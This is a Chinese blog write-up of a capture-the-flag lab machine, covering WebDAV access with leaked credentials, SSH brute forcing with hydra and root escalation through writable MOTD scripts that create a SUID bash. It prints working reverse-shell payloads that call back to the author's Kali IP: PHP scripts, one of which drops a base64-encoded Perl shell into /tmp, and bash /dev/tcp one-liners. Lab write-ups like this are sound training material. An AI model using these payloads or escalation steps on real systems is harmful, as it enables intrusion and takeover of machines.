李乐意的博客

tags:
@ 01/01/0001

服务探测

image-20250920032739946

获取到creds.txt文件。

cat creds.txt | base64 -d
yamdoot:Swarg   

经测试不是ssh账号。看一下http://192.168.30.138/webdav

基于Web的分布式编写和版本控制(英语:Web-based Distributed Authoring and Versioning,缩写:WebDAV)是超文本传输协议(HTTP)的扩展,有利于用户间协同编辑和管理存储在万维网服务器文档。

登录成功,但是当前目录下什么都没有。

image-20250920033351310

找一下webdav漏洞吧。

使用cyberduck登录一下webdav客户端。

上传反弹shell脚本文件。shell.php这个用不了。

<?php
// 反弹 Shell (PHP)
// 仅用于合法授权的渗透测试和安全研究

set_time_limit(0);
$ip = '192.168.30.131'; #你的监听IP和端口,这里是我的kali的ip
$port = 4444;

if (($sock = @fsockopen($ip, $port, $errno, $errstr, 30)) === false) {
    echo "无法连接到监听器。\n";
    exit;
}

$proc = @proc_open('cmd.exe', array(
    0 => $sock,
    1 => $sock,
    2 => $sock
), $pipes);

if (!is_resource($proc)) {
    echo "无法打开进程。\n";
    fclose($sock);
    exit;
}

$status = proc_get_status($proc);
while ($status['running']) {
    $status = proc_get_status($proc);
    usleep(10000);
}

proc_close($proc);
fclose($sock);
?>

image-20250920191901193

重写一个更强大的脚本。

GIF89a
<?php
// PHP 反弹 Shell - 具备多种执行方式和Base64编码
// 仅用于合法授权的渗透测试和安全研究

set_time_limit(0); // 设置脚本执行时间不限制

// ====== 配置你的监听器信息 ======
$yourip = "192.168.30.131";    // 替换为你的 Kali 或其他监听服务器的 IP 地址
$yourport = '4444';        // 替换为你设置的监听端口
// ==================================

// 获取命令的绝对路径,以提高兼容性
function which_cmd($cmd_name) {
    $path = execute("which $cmd_name");
    return (empty($path) ? $cmd_name : trim($path));
}

// 尝试多种方式执行系统命令
function execute($command) {
    $result = '';
    if (function_exists('exec')) {
        @exec($command, $output);
        $result = join("\n", $output);
    } elseif (function_exists('shell_exec')) {
        $result = @shell_exec($command);
    } elseif (function_exists('system')) {
        @ob_start();
        @system($command);
        $result = @ob_get_contents();
        @ob_end_clean();
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($command);
        $result = @ob_get_contents();
        @ob_end_clean();
    } elseif (is_resource($fp = @popen($command, "r"))) {
        $result = '';
        while (!@feof($fp)) {
            $result .= @fread($fp, 1024);
        }
        @pclose($fp);
    }
    return $result;
}

// 创建文件并写入Base64解码后的内容
function create_file($filename, $encoded_content) {
    if ($fp = @fopen($filename, 'w')) {
        @fputs($fp, @base64_decode($encoded_content));
        @fclose($fp);
        return true;
    }
    return false;
}

// Base64 编码的 Perl 反弹 Shell 脚本
// 注意: 'lynx' 是一个占位符,实际连接后可运行任何命令
$perl_reverse_shell_b64 = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

// 将 Perl Shell 脚本写入 /tmp/.back_c 文件
$temp_file = '/tmp/.back_c';
if (create_file($temp_file, $perl_reverse_shell_b64)) {
    // 赋予执行权限
    execute("chmod +x $temp_file");
    // 执行 Perl Shell,并传入 IP 和端口作为参数,& 让其在后台运行
    $command = which_cmd('perl') . " $temp_file $yourip $yourport &";
    $result = execute($command);
    echo "尝试执行反弹Shell...\n";
    // 可以在这里输出 $result 来查看执行信息,用于调试
    // echo "<pre>$result</pre>";
} else {
    echo "无法创建临时文件: $temp_file\n";
}

?>

kali开启监听。

socat file:`tty`,raw,echo=0 tcp-listen:4444

#或
nc -lvnp 4444

这里因为我的windows有火绒,脚本文件被删除了。就换了kali的cadaver工具,这是连接webdav服务的客户端。

davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:

davtest -url http://10.10.10.144/webdav -auth yamdoot:Swarg 

image-20250921011817655

上传文件。

image-20250921012257369

python3 -c 'import pty; pty.spawn ("/bin/bash")'  //交互式shell
 
export TERM=xterm  //添加环境变量,使shell更加完整

image-20250921013309873

三个版本的shell都用不了居然。shellmini.php

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.30.131/4444 0>&1'"); ?>

真要醉了,这还反弹不了,我要睡了。

发现是4444端口kali防火墙没开放,用443端口就好了。

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.30.131/443 0>&1'"); ?>

信息收集

当前是www-data用户。可登录用户有:image-20250921121948632

看到有历史命令文件。

image-20250921123507837

image-20250921123525535

查看了DavLock文件,然后到inferno用户目录下,果然提示是输入密码,应该是就是DavLock的内容。d4эh^

image-20250921123818819

结果并不是。总之,d4эh^ 本身没有直接的意义,它只是一个被服务器随机生成的字符串,用来作为文件锁定的唯一 ID

继续信息收集。

find / -perm -u=s -type f 2>/dev/null

cat /etc/crontab

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

可写文件中看了两个文件。image-20250921125409177

brainfuck解码&&ssh登录

hell.sh文件下是brainfuck加密。

cat hell.sh | hsbrainfuck

解密得到chitragupt。说这是通往地狱的高速公路。那么目前看来还有ssh用的上账号登录。

root
yamdoot
inferno
narak
hydra -L user.txt -p chitragupt -v 192.168.30.138 ssh

image-20250922205512663

可以看到是inferno用户的ssh连接。

ssh inferno@192.168

提权信息收集

继续筛选可操作文件。

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*"  2>/dev/null

image-20250923103937454

主要集中在inferno家目录和/etc/update-motd.d/下。

image-20250923104032318

对比一下,家目录下的都为隐藏文件,而另一个目录下权限明显过泛。

update-motd.d目录提取

/etc/update-motd.d/ 是一个位于Linux 系统(尤其是Debian/Ubuntu 及其衍生发行版)中的目录,用于存放 动态生成登录消息(MOTD - Message Of The Day) 的脚本。当用户登录系统时,这些脚本会被按顺序执行,其输出内容会组合起来显示为一条欢迎信息或系统通知。

image-20250923104909954

如何使用 /etc/update-motd.d/ 目录

  1. 创建脚本

    在该目录下创建以数字开头的文件,例如 10-my-script。数字前缀决定了脚本的执行顺序(数字越小,优先级越高)。

  2. 编写脚本内容

    脚本可以包含任何shell命令,用于收集和显示系统信息,例如系统负载、可用磁盘空间、用户数量等。

  3. 赋予执行权限

    为脚本赋予可执行权限,例如 chmod +x 10-my-script

  4. 登录验证

    下次用户登录系统时,这些脚本会自动执行,并将输出的内容显示在登录提示符之前。

示例

创建一个名为 05-welcome 的脚本,用于显示欢迎信息:

代码

#!/bin/bash
echo "欢迎来到您的系统!"
echo "今天是个好日子!"

然后,通过 chmod +x 05-welcome 赋予执行权限即可。

image-20250923105047290

写入成功。

接下来,优先使用数字小的,比如00-header。

echo "cp /bin/bash /tmp/rootbash" >> 00-header
echo "chmod +s /tmp/rootbash"

#or
echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" >> 00-header

重新登录该用户来加载脚本。inferno:chitragupt

image-20250923110503110

执行。

image-20250923110551073

依旧是该用户????这是为什么

在 Bash shell 中,-p 选项非常关键,特别是在处理 SUID(Set User ID)程序时。

为什么需要 -p

当你执行一个设置了 SUID 位的程序时,正常情况下,该程序会以文件所有者的权限(在本例中是 root)运行。但是,为了安全,Bash shell 在检测到自己是以 SUID 方式运行时,会自动丢弃这些特权。

这意味着,即使你执行了 /tmp/pwnshell 这个有 SUID 位的 shell,它也会立即将你的权限降回到普通用户,从而使提权失败。

-p 选项就是用来告诉 Bash shell:“请保持特权!”

  • -p 代表 privileged(特权)。
  • 当你使用 /tmp/pwnshell -p 运行 Bash 时,它会进入一个特殊的“特权模式”。在这个模式下,它会保留有效的 UID 和 GID,这意味着你的 shell 会继续以 root 权限运行,而不是降级到你的普通用户权限。

简单来说:

  • 没有 -pbash 会自动丢弃 root 权限,你仍然是普通用户。
  • 有了 -pbash 会保持 root 权限,你就成功提权了。

这个 -p 选项是一个很重要的安全特性,但攻击者也会利用它来绕过权限降级。在打靶场时,记住这个小技巧能帮你快速获得 root shell。

那么重新执行。

/tmp/rootbash -p

image-20250923111651811

解释 id 命令的输出

  • uid=1002(inferno): 这是你的实际用户 ID (Real User ID)。它代表了启动当前进程的原始用户,也就是你登录时的普通用户 inferno。这个 ID 是不会改变的。
  • gid=1002(inferno): 这是你的实际组 ID (Real Group ID)。它同样代表了你的原始用户所属的组 inferno
  • euid=0(root): 这是你的有效用户 ID (Effective User ID)。这是系统用来检查你对文件或进程的权限时所使用的 ID。因为你成功提权了,你的有效用户 ID 变成了 0,也就是 root
  • egid=0(root): 这是你的有效组 ID (Effective Group ID)。同理,它也变成了 0,也就是 root

成功。/root/root.txt拿到flag。

image-20250923111731867